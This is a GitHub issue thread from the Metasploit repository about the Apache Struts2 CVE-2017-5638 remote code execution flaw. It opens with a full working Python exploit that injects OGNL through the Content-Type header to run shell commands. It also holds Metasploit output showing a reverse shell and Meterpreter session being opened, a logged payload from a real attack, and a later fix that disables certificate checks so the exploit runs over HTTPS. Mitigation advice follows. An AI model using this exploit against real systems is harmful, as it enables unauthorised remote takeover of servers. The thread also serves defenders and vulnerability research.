rapid7/metasploit-framework

CVE-2017-5638 - Apache Struts2 S2-045

nixawk opened this issue ยท 39 comments

Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser.
...
It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.

#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib


def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial

    print(page)
    return page


if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)

Lab

  1. Please install tomcat yourself
  2. Deplay the vuln struts2 package

screen shot 2017-03-07 at 02 19 40

References

https://cwiki.apache.org/confluence/display/WW/S2-045
https://www.seebug.org/vuldb/ssvid-92746

I'll give a new pr later.

screen shot 2017-03-07 at 05 43 12

Could this be turned into an exploit? (cmd/unix payloads)

msf exploit(struts_code_exec_jakarta) > show options

Module options (exploit/multi/http/struts_code_exec_jakarta):

   Name       Current Setting     Required  Description
   ----       ---------------     --------  -----------
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.206.144     yes       The target address
   RPORT      8080                yes       The target port
   SSL        false               no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /struts2-showcase/  yes       The path to a struts application action
   TMPPATH                        no        Overwrite the temp path for the file upload. Needed if the home directory is not writable.
   VHOST                          no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   1   Linux Universal


msf exploit(struts_code_exec_jakarta) > run

[*] Started reverse TCP handler on 192.168.206.144:4444
[*] 192.168.206.144:8080 - Uploading exploit to /tmp/axs6, and executing it.
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.206.144
[*] Meterpreter session 1 opened (192.168.206.144:4444 -> 192.168.206.144:59908) at 2017-03-07 11:18:52 -0500

meterpreter > sysinfo
Computer     : sh
OS           : Linux sh 4.6.0-kali1-686-pae #1 SMP Debian 4.6.4-1kali1 (2016-07-21) (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter >

My client's site was hacked yesterday.
This was in the log:

redacted

oli-h commented

Seems to be more an OGNL issue than a Multipart parser issue

I've try on my own server but it's doesn't works (An error 500 is displayed).
I've targeted directly IP address.

@busterb it was a stacktrace cut before showing any customer-related information, just to help you out and show that the problem exists in real life. But you needed to play smart ass at my expense I guess.

@xtianus there was an internal hostname in there, or at least it looked like one to me. I wasn't trying to be a smart ass, apologies if that's how it sounded.

There was none. You could have edited the hostname-lookalike instead of removing the whole thing, but that wouldn't have attracted 12 smiles I guess.

The sad news is that this PR was prepared before we even had a chance to inform users about the new versions and it contains PoC reported to us which means we cannot even trust reporters :(

My mistake @xtianus. I removed comment above. Here is the backtrace resurrected for reference:

WARN  o.a.s.d.m.JakartaMultiPartRequest - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
content type header is %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=
(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?
{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=
(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
        at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947) ~[commons-fileupload-1.3.1.jar:1.3.1]
        at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310) ~[commons-fileupload-1.3.1.jar:1.3.1]
        at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334) ~[commons-fileupload-1.3.1.jar:1.3.1]
        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:188) ~[struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127) ~[struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92) ~[struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:84) [struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:838) [struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:137) [struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareFilter.doFilter(StrutsPrepareFilter.java:88) [struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:240) [

@oli-h Based on my understanding the problem is that Jakarta Multiparser generates an exception when parsing the Content-Type. While raising this exception it tries to include the invalid data in the error message. Instead of displaying the invalid data it parses and executes the OGNL. So, as I understand it, the problem is the Jarkarta Multiparser and the vehicle for exploitation is OGNL.

I think this might be some of the relevant code changes in Struts - http://www.mail-archive.com/commits%40struts.apache.org/msg14591.html

egypt commented

I'm working on converting your module to be able to load a java payload instead of executing a command

Guys, careful on the 'vuln struts2 package', my anti-virus detected a trojan horse inside.

sadlyf :(
sadlyf

wvu commented

@5p4d3: Did you install the module?

how to install ?? i tried to update it but still it failed to load the module..

wvu commented

@5p4d3: It isn't even in the tree yet. Drop the module in ~/.msf4/modules/exploits/multi/http.

still the error exists :(

wvu commented

Did you reload Metasploit? This is not the place to be asking support questions, btw. Take it to IRC, please.

Is there any way to fix this issue rather having upgrade to 2.3.32 or 2.5.10.1?

The simplest way is to filter out all incoming requests with invalid ContentType

If your application server is behind Apache server you can unset Content-type like this:
IfModule mod_headers.c
RequestHeader unset Content-Type
IfModule

If you application server is not behind a web server you can commented the fileUpload interceptor
by defining a custom interceptor-stack:
https://dzone.com/tutorials/java/struts-2/struts-2-tutorial/struts-2-interceptors-tutorial-1.html

This temporary solution will break upload functionalities until you upgrade struts-2

We have released two plugins that can help you fix this vulnerability in your Struts version (without a need to migrate) - it's safer than a custom Servlet filter as there are other attack vectors.
http://struts.apache.org/announce.html#a20170320

Based on this recent qualsys blog, removing fileupload interceptor is not enough.
As long as common-fileulpoad is in the war the vulnerability could be exploited.

https://blog.qualys.com/securitylabs/2017/03/14/apache-struts-cve-2017-5638-vulnerability-and-the-qualys-solution?utm_source=marketo&utm_medium=email&utm_campaign=demand-gen&utm_term=apache-struts-q1-2017&utm_content=blog-apache-vuln-qualys-solution&

Until you upgrade to recent revision with fix do this:

If your application server is behind Apache server do:
IfModule mod_headers.c
RequestHeader unset Content-Type
RequestHeader unset Content-Disposition
RequestHeader unset Content-length
IfModule

If you application server is not behind a web server remove fileupload or use jakarta-stream:
https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-AlternateLibraries

jakarta-stream parser is also vulnerable, the attack vector is a bit different - the best option, except migrating to the latest versions, is use one of those plugins:
https://github.com/apache/struts-extras

Hello,

Can anyone let me know if we can use Pell Parser, would it be better or secure option ?

Also, kindly let me know if any issues/vulnerabilities with exploits (Attack Vectors) available for the same.

Thanks.

seem it will upload script such as window or linux bash script then running to create process.
Just upgrade Struts 2 for fixed problem , Right ?

Hey, noob here, how can I run this exploit over https? I am getting an error, when testing against 2.3.32 (see below) it is requiring a certificate. My question is, how (if I can) can I pass in the certificate in-line, or is there a way to perform this using some type of insecure option?

urllib2.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:661)>

egypt commented

@Lopesy1191 The Metasploit module should work fine with TLS. Use that instead of the PoC posted here.

Replace by:

    try:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE

        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request, context=ctx).read()

Thanks @WHK102

@ lukaszlenart : Are the plugins, you mentioned above compatible with much older Struts2 versions such as Struts 2.0.14 ?